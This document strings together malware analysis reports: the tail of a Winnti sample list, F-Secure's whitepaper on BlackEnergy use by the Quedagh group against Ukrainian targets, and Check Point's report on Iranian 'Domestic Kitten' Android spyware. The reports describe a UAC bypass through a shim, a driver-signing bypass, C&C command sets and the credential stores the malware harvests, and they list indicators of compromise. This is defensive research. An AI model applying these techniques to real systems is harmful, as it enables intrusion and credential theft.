Although this division is involved in microelectronics manufacturing, other business directions of the conglomerate include development and production of drugs as well as medical equipment.
Although the nature of the involvement of Winnti operators, who were earlier perceived to be a threat only to the online gaming industry, in the activities of other cyber-espionage teams still remains rather obscure, the evidence is there.
From now on, when you see Winnti mentioned, dont think just about gaming companies consider also at least targeted telecoms and big pharma companies.
Here are the samples in question: 8e61219b18d36748ce956099277cc29b Backdoor.
Win64.Winnti.gy 5979cf5018c03be2524b87b7dda64a1a Backdoor.
Win64.Winnti.gf ac9b247691b1036a1cdb4aaf37bea97f Rootkit.
Win64.Winnti.ai
BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks CONTENTS Introduction 2 Attack overview 2 Infection vectors 3 Target details 4 2008 cyberattacks on Georgia?
4 Ukraine-related proxies 4 Timeline 6 Technical details 8 UAC bypass during installation 8 Driver signing policy bypass 8 Hijacking existing drivers 9 Driver component 9 Main DLL component 10 BlackEnergy 3 10 Information-stealing plugin 11 Network traffic 12 Conclusions 13 Appendix A Samples 14 BlackEnergy is a toolkit that has been used for years by various criminal outfits.
In the summer of 2014, we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting.
These samples were identified as being the work of one group, referred to in this document as Quedagh, which has a history of targeting political organizations.
The Quedagh-related customizations to the BlackEnergy malware include support for proxy servers and use of techniques to bypass User Account Control and driver signing features in 64-bit Windows systems.
While monitoring BlackEnergy samples, we also uncovered a new variant used by this group.
We named this new variant BlackEnergy 3.
The use of BlackEnergy for a politically-oriented attack is an intriguing convergence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom- made piece of code.
TLP: WHITE F-SECURE LABS SECURITY RESPONSE Malware Analysis Whitepaper 2 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks INTRODUCTION BlackEnergy is a popular crimeware (that is, malware designed to automate criminal activities) that is sold in the Russian cyber underground and dates back to as early as 2007.
Originally, it was designed as a toolkit for creating botnets for use in conducting Distributed Denial of Service (DDoS) attacks.
Over time, the malware has evolved to support different plugins, which are used to extend its capabilities to provide necessary functions, depending on the purpose of an attack.
Given the nature of its toolkit, BlackEnergy has unsurprisingly been used by different gangs for different purposes some use it for sending spam, others for stealing banking credentials.
The most notorious use may be when it was used to conduct cyberattacks against Georgia during the Russo-Georgian confrontation in 2008.
In the summer of 2014, BlackEnergy caught our attention when we noticed that samples of it were now tailored to target Ukrainian government institutions.
Though it may be unrelated, it is interesting to note that this change conveniently coincides with the on-going crisis in that country.
Related or not, one thing is certain: the actor(s) using these customized BlackEnergy malware are intent on stealing information from the targets.
The use of this crimeware in what constitutes as an advance persistent threat (APT) attack is interesting.
In black operations (black ops), an important criteria is that the attack should not be attributable - and what provides better plausible deniability than crimeware known to be used by multiple parties?
In this paper we focus only on BlackEnergy samples known to be used specifically by the actors we identify as Quedagh, who seem to have a particular interest in political targets.
Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year.
ATTACK OVERVIEW At the time of writing, we have little information on how exactly victims are receiving the BlackEnergy malware being pushed by the Quedagh gang.
An educated guess is that they are receiving the malware via targeted emails containing malicious attachments.
Meanwhile, the following infection and technical details are based on samples gathered after searching through F-Secure Labs collection of all BlackEnergy samples and identifying those with Quedagh characteristics.
Figure 1: BlackEnergy Builder from 2007 The BlackEnergy toolkit comes with a builder application which is used to generate the clients that the attacker(s) use to infect victim machines.
The toolkit also comes with server-side scripts, which the attackers set up in the command and control (CC) server.
The scripts also provide an interface where an attacker can control his bots.
The simplicity and convenience provided by the toolkit means that anyone who has access to the kit can build his own botnet without any skills required.
The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 3 Some earlier installer variants, then named regedt32.
exe, were distributed by documents exploiting software vulnerabilities, one of which was CVE-2010-3333.
These documents drop and execute the installer, then open a decoy document.
It is reasonable to assume that a similar approach has been used to deliver the more recent installer variants.
The installer filename of BlackEnergy 3 is still msiexec.exe.
However, it is delivered and executed by a dropper which opens a decoy document in the foreground.
We also encountered a standalone, non-persistent sample that pretends to be Adobe Flash Player Installer.
It does not use any decoy document or application and does not run after reboot.
The overview below summarizes the various infection vectors used by the Quedagh gang to deliver BlackEnergy crimeware to the designated targets.
OVERVIEW OF INFECTION VECTORS USED AGAINST UKRAINIAN TARGETS APP APP msiexec.exe msiexec.exe msiexec.exe INSTALLER INSTALLER INSTALLER Decoy document Decoy document Clean app PERSISTENT component PERSISTENT component PERSISTENT component NON-PERSISTENT component Trojanized app Exploit document Dropper malware Fake installer The original BlackEnergy toolkit first emerged in 2007 and is referred to in this paper as BlackEnergy 1.
A later variant of the toolkit (BlackEnergy 2) was released in 2010.
We also encountered a previously unseen variant, which had been rewritten and uses a different format for its configuration.
It also no longer uses a driver component.
We dubbed this new variant BlackEnergy 3.
INFECTION VECTORS Most of the recent BlackEnergy installers collected are named msiexec.exe.
We believe they are either dropped by another executable that uses social engineering tricks to mislead the user into executing the installer, or by documents containing exploits that silently perform the installation.
We found at least 2 trojanized legitimate applications that execute the installer (in addition to their legitimate tasks).
Trojanization is an effective infection method, as most users have no way of observing that a malicious component is being installed in tandem with a legitimate program.
4 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks Image 2: Decoy document circa 2012 Image 3: Strings from a sample circa 2012 TARGET DETAILS From the very earliest variants we were able to attribute to Quedagh, we have noticed that their targets have been political in nature.
Apart from other indicators, we can deduce the nature of the target based on the content of social engineering tactics used to distribute the installers.
For example, one decoy dropped from a sample dating to 2012 (image 2) seems to be targeting European audiences and discusses a political/economic situation.
Strings found in another sample from 2012 (image 3) again indicate a political motivation behind the attack.
Most decoys used content taken from news sites we noted one decoy dropped by an exploit document was created using the Russian version of Office (image 4).
The latest variant of the dropper pretends to be a document file with a Ukrainian filename (image 5).
The choice of language for the filename again may tie in or reference the current political crisis in that country.
The filename itself means password list in English.
2008 CYBERATTACKS ON GEORGIA?
During our investigation, we found interesting details that lead us to suspect that Quedagh might have been involved in the cyberattacks launched against Georgia during the 2008 Russo-Georgian confrontation.
While the details identified are suggestive, they are not conclusive they do however seem consistent with the groups involvement in subsequent targeted attacks.
UKRAINE-RELATED PROXIES While examining the samples collected during our BlackEnergy monitoring, we noticed that samples from this year had been updated to support the use of proxy servers while connecting to their CC servers.
This contrasts with earlier BlackEnergy 2 variants, which do not support proxy servers.
In some network setups, a proxy server is needed to allow internal users to access the Internet [1].
BlackEnergys use of a proxy server may indicate that the gang has prior knowledge of the target organizations internal setup to note of this requirement.
For example, in one sample the configuration uses the proxy server associated with the Ukrainian Railway (image 6).
The configuration from another sample also shows it using an internal proxy under the giknpc domain (image 7).
The domain giknpc.com.ua in turn hosts 3 domains (image 8), one of which is for the city of Dnipropetrovsk (image 9), the fourth-largest city in Ukraine, located in the southeast.
Based on the set proxy servers for the different samples, we concluded that the gang is targeting Ukrainian government organizations.
The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 5 Image 5: 2014 dropper sample disguised as a document.
The filename means password list Image 6: Configuration using Ukrainian Railways proxy Image 7: Configuration using internal proxy under giknpc domain Image 8: Domains hosted on giknpc.com Image 9: Dnipropetrovsk domain Image 4: Decoy document created using a Russian version of Office 6 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks TIMELINE Although they may have started much earlier, the earliest BlackEnergy sample we could attribute to the Quedagh gang is from December 14, 2010.
Initially, the group seemed to prefer to use the filename of the Windows registry editor (regedt32.exe), presumably because the installer needs administrator rights to install its driver component and therefore would try to request for the highest available rights (image 10), if possible.
As this triggers a notification message visible to the user, said user is more likely to grant permission if it appears to be the registry editor that is requesting for permission, since it is normal to run it with administrator rights.
Experienced users though are less likely to be taken in, thereby decreasing the likelihood of a successful infection.
Starting April 2013, modified installers appeared showing that the Quedagh group found a way to bypass the default User Account Control (UAC) settings.
With this change, the users permission is no longer need (image 11).
At this point, the gang also began to use the Windows installer program filename msiexec.exe.
64-bit support Within a month of Windows 8.1s release, the gang had quickly added support for 64-bit systems, possibly anticipating that more of their target systems will be migrated to 64-bit systems.
They also employ a neat trick to bypass the driver signing requirement on 64- bit Windows systems.
As a side note, this latest finding updates and supercedes previously published research related to BlackEnergys driver signing behavior [2].
However, this trick doesnt work on Windows 8 and later systems.
The driver also crashes occassionally.
This could be the reason for the stand-alone non-persistent BlackEnergy variant.
BlackEnergy 3 We identified the new BlackEnergy 3 variant first by the change in its configuration, which differed from those of its two predecessors, 1 and 2 (images 12 to 14).
It also no longer uses a driver component [3].
Further technical details are documented on page 10 to 11.
Image 10: Installer requesting highest available rights Image 11: Installer execution privilege level amended Image 14: BlackEnergy 3 configuration Image 12: BlackEnergy 1 configuration Image 13: BlackEnergy 2 (aka BotnetKernel or bkernel [4] ) configuration 2007 2010 20132008 2009 2011 2012 2014 BlackEnergy 1 BlackEnergy 2 BlackEnergy 3 CYBERATTACKS AGAINST GEORGIA First installer (regedt32.exe) New UAC- bypassing installer (msiexec.exe) Quedagh APT campaign BLACKENERGY Development 64-bit support for BlackEnergy 2 driver Targets Ukrainian entities May 12 Some time after Dec 25Nov 14Apr 9Dec 14 TIMELINE OF BLACKENERGY QUEDAGH HISTORY POLITICAL CRISIS IN UKAINE 8 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks TECHNICAL DETAILS UAC BYPASS DURING INSTALLATION The malware will only attempt to infect a system if the current user is a member of the local administrator group.
If not, it will re-launch itself as Administrator on Vista.
This in effect will trigger a UAC prompt.
On Windows 7 and later however, the malware will attempt to bypass the default UAC settings.
It exploits a backward-compatibility feature found in newer versions of Windows.
BlackEnergy installers include a Shim Database, or a fix, instructing SndVol.exe to execute cmd.exe (image 15, below) instead in order to resolve the incompatibility.
SndVol.exe is one of the Windows executables that will be automatically elevated upon execution because it is thought to be safe.
What harm can a volume control cause?
With the malicious fix installed however, executing SndVol.exe will execute the not-so-safe file cmd.exe instead, which can then be used to install the malware while in an elevated state.
DRIVER SIGNING POLICY BYPASS The role of the installer is to set up the malwares persistent component, which is the driver component.
On 64-bit Windows systems, Microsoft has enforced a policy that requires all drivers to be signed as a security precaution.
Signing provides a way to identify a driver to its author, effectively reducing the number of malware developers willing to take the risk.
To allow developers to test their drivers during development, Microsoft provides a TESTSIGNING boot configuration option while in this mode, a watermark is displayed on the screen to make it obvious to users and to prevent malware from exploiting this option.
BlackEnergy enables the TESTSIGNING option to load its driver component to hide this change from the user, the malware removes the watermark by removing the relevant strings in the user32.dll.mui of the system.
In Windows 8 and up however, the strings are no longer stored in user32.dll.mui, so the trick will not work.
This may be one of the reasons for the existence of a standalone non- persistent BlackEnergy variant.
The malware does not infect 64-bit Windows systems that are older than Vista.
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Inset: Test Mode watermark The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 9 HIJACKING EXISTING DRIVERS The installer will try to locate an existing driver service that is inactive.
The service found will usually be a legitimate one that is disabled because it is no longer used or because it is set to start only on demand.
The installer will drop the driver component using the corresponding path of the service.
It will overwrite the existing driver if necessary.
The hijacked service is then set to start automatically.
This is how the malware is able to survive after a reboot.
By doing this, the gang may be hoping that their malicious driver will be overlooked by administrators or investigators who are so used to seeing those legitimate services.
DRIVER COMPONENT The only component that will remain permanently on the infected system will be the driver component.
The driver component used by the gang is a stripped down version of the BlackEnergy 2 driver.
The sole purpose of this driver component is to inject the main DLL component into svchost.exe.
Interestingly, it does not contain the rootkit functionalities for hiding processes, files and registry objects that is found in the usual BlackEnergy 2 drivers.
The gang may have opted for a hide in plain sight approach to evade detections from rootkit scanners, such as GMER and RootkitRevealer, that checks for system anomalies.
The driver component provides a IOCTL interface to communicate with the main DLL component.
Table 1 (above) summarizes the command codes that can be passed to the IOCTL buffer.
The 32-bit version contains additional, incomplete routines for hiding processes via direct kernel object manipulation (DKOM) and managing BlackEnergy 2 rootkit rules in memory [2].
Code Function 6 Loads a driver into memory 9 Does not do anything just returns true.
Previously contained an uninstall routine.
10 Returns the registry path and driver file path Locate inactive drivers Replace with driver component Additional steps on 64-bit systems Enable TESTSIGNING Remove Test Mode watermark Run as administratorBypass UAC Need rights?
Temporary component INSTALLER DRIVER MAIN DLL Persistent component svchost.exe Installs Injects DIAGRAM 1: INSTALLATION FLOW DIAGRAM 2: ROLE OF DRIVER COMPONENT TABLE 1: IOCTL BUFFER COMMAND CODES 10 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks BlackEnergy 2 was very well documented by Dell SecureWorks [5] in 2010.
Table 2 (above) summarizes the differences between the driver component used by Quedagh compared to the typical BlackEnergy 2.
MAIN DLL COMPONENT The core functionality of BlackEnergy 2 is found in the main DLL component.
This component is embedded inside the driver component and is not found in the file system this is to reduce the infection footprint on the system.
The main DLL provides a robust framework for attackers to maintain a botnet that is not tied to any specific functionality.
The malware is designed to be used by loading customized plugins depending on the purpose of the botmaster.
It is mainly a framework for plugins to communicate with a central command and control.
Otherwise, the main DLL only provides a minimal set of commands.
Table 3 (above) summarizes the commands supported by the variants used in the attack against Ukrainian government organizations.
In BlackEnergy 2, the main DLL component communicates with its plugins via a defined set of API calls.
It exports a number of function calls, which can be used by the plugins.
On the other hand, plugins are required to export 2 functions to work.
We highly recommend the research of Dell SecureWorks for those looking for more details regarding the BlackEnergy 2 plugin framework.
BLACKENERGY 3 In contrast to previous variants, BlackEnergy 3 uses a simpler installer component.
It does not have a driver component and the installer drops the main DLL component directly to the local application data (non- roaming) folder.
The installer then creates a LNK file in the startup folder, using a filename generated based on the volume serial number as a launch point.
The LNK file is a shortcut to execute the main DLL using rundll32.exe.
Command Description rexec Download and execute a binary lexec Execute a shell command die Uninstall getpl Load a plugin turnoff Quit (will start again after reboot) chprt Add / remove / set active command and control server Typical BlackEnergy 2 Quedagh BlackEnergy 2 Launch Point Creates a new service based on either a hardcoded or randomly generated name (depending on the installer) Hijacks an existing legitimate service Role Hides processes, files and registry objects Inject main DLL to svchost.exe Injects main DLL to svchost.exe Versions 32-bit driver component that contains complete routines in its IOCTL interface 32-bit driver component with a lot of remnant routines in its IOCTL interface, only a few of which make sense.
After Nov 11, 2013, the 64-bit driver component is available and provides limited functionalities in IOCTL interface (only those equivalent working routines found in the 32-bit versions) TABLE 2: TYPICAL BLACKENERGY DRIVER COMPONENT VERSUS QUEDAGHS CUSTOM COMPONENT TABLE 3: COMMANDS SUPPORTED BY VARIANTS TARGETED AT UKRAINIAN ENTITIES TABLE 4: X509_ASN FIELDS EQUIVALENT BLACKENERGY 2 XML NODE The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 11 ID BlackEnergy 2 Node Description 1 servers The command and control servers 2 plugins Plugins to be loaded 3 cmds Commands to be executed 4 build id Build ID 5 sleepfreq Phone home interval Command Description delete Uninstall ldplg Load a plugin unlplg Unload a plugin update Update main DLL dexec Download and execute an executable exec Download and execute a binary updcfg Update the configuration data This variant uses a new configuration format.
The configuration data is a series of X509_ASN encoded values and are accessed by an ID number.
Table 4 summarizes the fields and their equivalent BlackEnergy 2 XML node, while table 5 lists the completely new set of commands used in this latest variant.
BlackEnergy 3 also uses a different method of communication with its plugins, as it now communicates via RPC over the named-pipe protocol (ncacn_np).
INFORMATION-STEALING PLUGIN Since the main DLL component offers little clue as to what the malware was used for, we need to look at the plugin to determine the objective of the gang.
One particular plugin that was used in the campaign was called si, perhaps to mean steal information.
The latest sample we found will attempt to gather the following information and send them to the CC server: System configuration information (gathered via systeminfo.exe) Operating system version Privileges Current time Up time Idle Time Proxy Installed apps (gathered from uninstall program registry) Process list (gathered via tasklist.exe) IP configurations (gathered via ipconfig.exe) Network connections (gathered via netstat.exe) Routing tables (gathered via route.exe) Traceroute and Ping information to Google (gathered via tracert.exe and ping.exe) Registered mail, browser, and instant messaging clients (gathered via client registry) Account and password information from The Bat email client (gathered from account.cfn and account.cfg) Stored username and passwords in Mozilla password manager of the following applications (gathered from signons.txt and signons.sqlite) Thunderbird Firefox SeaMonkey IceDragon Stored username and passwords in Google Chrome password manager of the following applications (gathered from Login Data) Google Chrome Chromium Comodo Dragon Xpom Nichrome QIP Surf Torch YandexBrowser Opera Sleipnir Account and password information from Outlook and Outlook Express Internet Explorer version and stored username and passwords Stored username and passwords in Windows Credential Store Live Remote Desktop Other generic credentials (Microsoft_ WinInet_) The nature of the information being gathered seems to be generic rather than targeted.
This may be because the malware has roots from crimeware.
The information is still useful however as such data makes it easier for the gang to plan any further attacks on the same targets.
TABLE 4: X509_ASN FIELDS EQUIVALENT BLACKENERGY 2 XML NODE TABLE 5: BLACKENERGY 3 COMMANDS 12 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks NETWORK TRAFFIC BlackEnergy communicates with its CC server via HTTP POST requests.
For the BlackEnergy 2 samples used by the gang, the request contains the following fields: id[bot_id]bid[base64_encoded_build_ id]dv[x]mv[y]dpv[z] Where: bot_id is equivalent to the infected host name and the volume serial number following the format x[host_name]_[serial_no] (e.g.
xJOE- PC_484DA98A) build_id is the string found in the build_id field in the samples configuration data x, y, z are hardcoded values which varies among samples The fields are almost the same for BlackEnergy 3 samples: id[bot_id_sha1]bid[base64_encoded_build_ id]nm[x]cn[y]num[z] The only major difference is that the id field contain just the hash instead of the actual string.
The actual bot_id string in which the id hash is derived is also a bit different it now uses the format [domain_sid]_[host_name]_ [serial_no].
The response of the command and control server will be encrypted using the id field in the POST request as the key.
After the response is decrypted, it will be in the form of the corresponding configuration data of the BlackEnergy sample for example, BlackEnergy 2 samples expect the decrypted response to be a XML document, while BlackEnergy 3 samples expect the decrypted response to be a series X509_ASN encoded values.
The decrypted response, which is equivalent to another configuration data, will be processed similar to the initial configuration data embedded in the main DLL the only differences are the data fields that are processed.
This cycle is illustrated in diagram 3 (above).
The main DLL also uses the fields listed in table 6 (above) when it needs to download additional files.
HTTP POST Field Description of Values getp The plugin name to be downloaded plv Some variants specify the version of the plugin to be downloaded getpd The binary name to be downloaded TABLE 6: MAIN DLLS ADDITIONAL COMMANDS DURING DOWNLOAD OF ADDITIONAL FILES DIAGRAM 3: CONFIGURATION DATA HANDLING MAIN DLL Config Config CC SERVER HTTP POST1 2 3 1 2 3 Main DLL process configuration data embedded in its body will only process fields related to CC communication.
BlackEnergy 2 configuration may also contain initial commands to execute.
Main DLL reports to CC.
Main DLL processes the configuration data returned by the CC.
This time, it processes fields related to plugins and commands.
The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 13 CONCLUSIONS BlackEnergy is a toolkit that has been used for years by various criminal outfits.
In the summer of 2014, we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting.
These samples were identified as being the work of one group, referred to in this document as Quedagh, which has a history of targeting political organizations.
Though inconclusive, suggestive details indicate that BlackEnergy malware, possibly also from this gang, may also have been used in the Russo-Georgian confrontation in 2008.
The Quedagh-customizations to the BlackEnergy malware include support for proxy servers (which, in the samples examined are associated with Ukrainian entities) and use of techniques to bypass User Account Control and driver signing features in 64-bit Windows systems.
While monitoring BlackEnergy samples, we also encountered a new variant, which we dub BlackEnergy 3, with a modified configuration, no driver component and a different installation procedure.
The use of BlackEnergy for a politically-oriented attack is an intriguing convergence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom-made piece of code.
.REFERENCES 1.
Wikipedia Proxy server http://en.wikipedia.org/wiki/Proxy_serverCross-domain_resources 2.
Broderick Aquilino F-Secure Weblog BlackEnergy Rootkit, Sort Of 13 June 2014 http://www.f-secure.com/weblog/archives/00002715.html 3.
Broderick Aquilino F-Secure Weblog Beware BlackEnergy If Involved In Europe/Ukraine Diplomacy 30 June 2014 http://www.f-secure.com/weblog/archives/00002721.html 4.
Kafeine Malware dont need Coffee BotnetKernel (MS:Win32/Phdet.
S) an evolution of BlackEnergy 21 June 2014 http://malware.dontneedcoffee.com/2014/06/botnetkernel.html 5.
Joe Stewart DELL SecureWorks BlackEnergy Version 2 Analysis 3 March 2010 http://www.secureworks.com/cyber-threat-intelligence/threats/blackenergy2/ 14 BLACKENERGY QUEDAGH The convergence of crimeware and APT attacks SHA1 Description 26b9816b3f9e2f350cc92ef4c30a097c6fec7798 Main reference for related BlackEnergy 2 32-bit driver and main DLL component analysis bf9937489cb268f974d3527e877575b4fbb07cb0 Main reference for related BlackEnergy 2 64-bit driver (signed on 2013-12-25) and installer analysis.
Basis for the start of the Ukrainian target.
78636f7bbd52ea80d79b4e2a7882403092bbb02d Main reference for related BlackEnergy 3 analysis bf9172e87e9264d1cddfc36cbaa74402bb405708 Main reference for related si plugin analysis 441cfbaba1dfd58ce03792ef74d183529e8e0104 Stand-alone non-persistent BlackEnergy 2 sample f7d4aa90b76646f4a011585eb43b9d13c60f48eb Trojanized Juniper installer containing related BlackEnergy 2 8ccd2962bce8985d0794daed6e0bf73e5557cfe8 Trojanized Adobe Bootstrapper containing related BlackEnergy 2.
This means that it is highly probable that there is a trojanized Adobe package out there.
d496f99f7e07d5cbbd177a9d43febe8fb87ebc3b Related RTF document containing exploit cc71aa8f919911676fb5d775c81afc682e6e3dd3 Related BlackEnergy 2 binary containing strings that are political in nature abab02d663872bcdbe2e008441fcd7157c0eb52d Oldest (compiled on 2010-12-14) related BlackEnergy 2 installer that was found e5c8c10b10ee288512d3a7c79ae1249b57857d23 Oldest (compiled on 2013-04-09) related BlackEnergy 2 installer that bypass UAC that was found 8743c8994cc1e8219697394b5cb494efa7dad796 Oldest (signed on 2013-11-14) related BlackEnergy 2 64-bit driver that was found 285b3252a878d1c633ea988153bbc23c148dd630 Oldest (compiled on 2014-05-12) related BlackEnergy 3 dropper that was found APPENDIX A SAMPLES The convergence of crimeware and APT attacks BLACKENERGY QUEDAGH 15 PAGE INTENTIONALLY LEFT BLANK F-Secure is an online security and privacy company from Finland.
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Founded in 1988, F-Secure is listed on NASDAQ OMX Helsinki Ltd. F-Secure is an online security and privacy company from Finland.
We offer millions of people around the globe the power to surf invisibly and store and share stuff, safe from online threats.
We are here to fight for digital freedom.
Join the movement and switch on freedom.
Founded in 1988, F-Secure is listed on NASDAQ OMX Helsinki Ltd. SWITCH ON FREEDOM Introduction Attack overview Infection vectors Target details 2008 cyberattacks on Georgia?
Ukraine-related proxies Timeline Technical details UAC bypass during installation Driver signing policy bypass Hijacking existing drivers Driver component Main DLL component BlackEnergy 3 Information-stealing plugin Network traffic Conclusions Appendix A Samples
September 7, 2018 Domestic Kitten: An Iranian Surveillance Operation research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation Chinese strategist Sun Tzu, Italian political philosopher Machiavelli and English philosopher Thomas Hobbes all justified deceit in war as a legitimate form of warfare.
Preceding them all, however, were some in the Middle East who had already internalized and implemented this strategy to great effect, and continue to do so today.
Recent investigations by Check Point researchers reveal an extensive and targeted attack that has been taking place since 2016 and, until now, has remained under the radar due to the artful deception of its attackers towards their targets.
Through the use of mobile applications, those behind the attack use fake decoy content to entice their victims to download such applications, which are in fact loaded with spyware, to then collect sensitive information about them.
Interestingly, these targets include Kurdish and Turkish natives and ISIS supporters.
Most interesting of all, though, is that all these targets are actually Iranians citizens.
What Information is Collected?
Considering the nature of the target, the data collected about these groups provides those behind the campaign with highly valuable information that will no doubt be leveraged in further future action against them.
Indeed, the malware collects data including contact lists stored on the victims mobile device, phone call records, SMS messages, browser history and bookmarks, geo-location of the victim, photos, surrounding voice recordings and more.
Who is Behind the Attack?
While the exact identity of the actor behind the attack remains unconfirmed, current observations of those targeted, the nature of the apps and the attack infrastructure involved leads us to believe this operation is of Iranian origin.
In fact, according to our discussions with intelligence experts familiar with the political discourse in this part of the world, Iranian government entities, such as the Islamic Revolutionary Guard Corps (IRGC), Ministry of Intelligence, Ministry of Interior and others, frequently conduct extensive surveillance of these groups.
Indeed, these surveillance programs are used against individuals and groups that could pose a threat to stability of the Iranian regime.
These could include internal dissidents and opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in Western Iran.
1/10 https://research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation/ https://research.checkpoint.com/wp-content/uploads/2018/09/Fig1.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig1a.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig2.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig3.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig4.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig5a.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig5b.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig6.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig7a.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig8aa.png https://research.checkpoint.com/wp-content/uploads/2018/09/Fig8a.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig9.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig10aa.png https://research.checkpoint.com/wp-content/uploads/2018/09/fig11.jpg While our investigation is still in progress, the research below reveals the full extent of these targeted attacks, its infrastructure and victims and the possible political story behind it.
In the meantime, we have dubbed this operation Domestic Kitten in line with the naming of other Iranian APT attacks.
Data Collection via Mobile Applications Victims are first lured into downloading applications which is believed to be of interest to them.
The applications our researchers discovered included an ISIS branded wallpaper changer, updates from the ANF Kurdistan news agency and a fake version of the messaging app, Vidogram.
Regarding the ISIS-themed application, its main functionality is setting wallpapers of ISIS pictures, and therefore seems to be targeting the terror organizations advocates.
Curiously, its Arabic name is grammatically incorrect ( , which should instead be ).
Figure 1: The application offering Isis-related wallpapers.
2/10 https://www.reuters.com/article/us-iran-cyber/once-kittens-in-cyber-spy-world-iran-gains-prowess-security-experts-idUSKCN1BV1VA Figure 2: ANF News Agency website, on which the decoy app is based.
3/10 With regards to the ANF News Agency app, while ANF is a legitimate Kurdish news website its app has been fabricated by the attackers to pose as the legitimate app in order to deceive their targets.
Due to the names and content that is offered by the above mentioned applications then, we are lead to believe that specific political groups and users, mainly ISIS supporters and the Kurdish ethnic group, are targeted by the operation.
However, when most of the victims are actually Iranian citizens, it raises more pertinent questions about who may be behind the attack.
Due to the attack infrastructure, reviewed below, and its consistency with previous investigations of state-sponsored Iranian operations covered by Check Point researchers, we were led to believe that Iranian government agencies may well be behind the campaign.
Technical Analysis A closer look at each of the applications used in the campaign show them to have the same certificate that was issued in 2016.
This certificate is associated with the e-mail address telecom2016yahoo[.
]com, as seen below.
Figure 3: Attack applications certificate uses the same email address telecom2016yahoo[.
]com Unfortunately not much is known about this e-mail address, as it was not used to register any domain names or to launch attacks in the past.
Another unique characteristic of the applications used, though, is that all of the samples analyzed have several classes that are under a misspelled package name, andriod.browser.
4/10 Figure 4: The malicious applications classes.
These classes are seen to be in charge of data exfiltration, collecting sensitive information from the victims device.
Such information includes: SMS/MMS messages phone calls records Contacts list Browser history and bookmarks External storage Application list Clipboard content Geo-location and camera photos Interestingly, they also collect surrounding voice recordings.
5/10 Figure 5: Examples of the malicious code.
All of the stolen data is then send back to CC servers using HTTP POST requests.
Additionally, one of the applications contacts firmwaresystemupdate[.
]com, a newly registered website that was seen to resolve to an Iranian IP address at first, but then switched to a Russian address.
Figure 6: One of the decoy applications contact firmwaresystemupdate[.
]com The rest of the applications contact IP addresses directly, which unlike the previous domain, are base64 encoded and XORed: 6/10 Figure 7: The CC decoding.
Although these IP addresses were contacted directly, they are newly registered domains that resolve to each of the IP addresses and they all follow the same pattern of a first name- surname naming convention: Stevenwentz[.
]com Ronaldlubbers[.
]site Georgethompson[.
]space Each victim then receives a unique device UUID (a UUID is the encoded value of devices android_id), which appears at the beginning of each log that is sent back to the attacker, with the title of each log having the same structure: UUID_LogDate_LogTime.log.
When a log is created for a victim, some basic information is then collected and documented prior to the logging of phone call details.
In addition, all the logs use a unique delimiter to separate between the fields of the stolen data: Figure 8: SMS log example.
The different classes then collect relevant data, and add them to such a log that is then zipped.
Afterwards, the archive is encrypted using AES, with the device UUID as the encryption key, as seen in the below code: 7/10 Figure 9: The applications encryption method.
This information is collected and sent back to CC servers when the command is received from the attacker.
These commands also follow the same structure as the log, as it uses the same delimiter, and can include things such as Get File, Set Server, Get Contacts and more: Figure 10: Example of commands sent from the server.
As a result of all the above, this glance into inner working of this attack infrastructure therefore allowed us to form a precise idea about how wide this attack is and the victims targeted.
Victim Distribution Having analyzed the full extent of the operation, as well as some extensive information about the attacked devices and the log files collected, we understood that around 240 users have so far fallen victim to this surveillance campaign.
In addition, due to careful documentation of the campaign by its creators showed we were able to learn that over 97 of its victims are Iranian, consistently aligning with our estimation that this campaign is of Iranian origin.
8/10 In addition to the Iranian targets discovered, we also found victims from Afghanistan, Iraq and Great Britain.
Interestingly, the log documentation includes the name of the malicious application used to intercept the victims data, as well as an Application Code Name field.
This field includes a short description of the app, which leads us to believe that this is a field used by the attackers to instantly recognize the application used by the victim.
Observed code names includes Daesh4 (ISIS4), Military News, Weapon2, Poetry Kurdish.
Below is a visualization of the attacked devices and mobile vendors that were documented in the logs: Figure 11: A breakdown of attacked devices and mobile vendors.
While the number of victims and their characteristics are detailed above, the number of people affected by this operation is actually much higher.
This is due to the fact that the full contact list stored in each victims mobile device, including full names and at least one of their phone numbers, was also harvested by the attackers.
In addition, due to phone calls, SMS details, as well as the actual SMS messages, also recorded by the attackers, the private information of thousands of totally unrelated users has also been compromised.
-
9/10 Check Points Mobile solutions can protect against this type of attack.
For enterprises, read more about Check Points Sand Blast Mobile, and for consumers Check Points Zone Alarm Mobile, to learn how you can protect your device from malicious and invasive mobile malware.
We wish to thank Dr. Raz Zimmt, an expert on Iran at the Institute for National Security Studies (INSS), for his illuminating insights.
Indicators of Compromise c168f3ea7d0e2cee91612bf86c5d95167d26e69c 0fafeb1cbcd6b19c46a72a26a4b8e3ed588e385f f1355dfe633f9e1350887c31c67490d928f4feec d1f70c47c016f8a544ef240487187c2e8ea78339 162[.]248[.]247[.
]172 190[.]2[.]144[.
]140 190[.]2[.]145[.
]145 89[.]38[.]98[.
